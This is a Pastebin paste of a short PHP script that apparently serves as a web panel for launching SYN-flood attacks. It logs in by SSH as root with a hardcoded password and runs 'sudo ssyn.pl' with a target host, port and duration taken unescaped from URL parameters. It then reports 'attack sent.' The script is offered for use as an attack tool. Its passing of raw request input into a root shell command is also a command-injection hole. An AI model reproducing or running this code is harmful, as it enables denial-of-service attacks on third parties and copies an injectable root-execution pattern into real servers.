Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- set_time_limit(0);
- ignore_user_abort(true);
- if (!function_exists("ssh2_connect")) die("function ssh2_connect doesn't exist");
- // log in at server1.example.com on port 22
- if(!($con = ssh2_connect("localhost", 22))){
- echo "fail: unable to establish connection\n";
- } else {
- // try to authenticate with username root, password secretpassword
- if(!ssh2_auth_password($con, "root", "password")) {
- echo "fail: unable to authenticate\n";
- } else {
- // execute a command
- if (!($stream = ssh2_exec($con, "sudo ssyn.pl ".$_GET['host']." ".$_GET['port']." 2000 ".$_GET['time']))) {
- echo "fail: unable to execute command\n";
- } else {
- echo "" . stream_get_contents($stream);
- echo "attack sent.";
- }
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement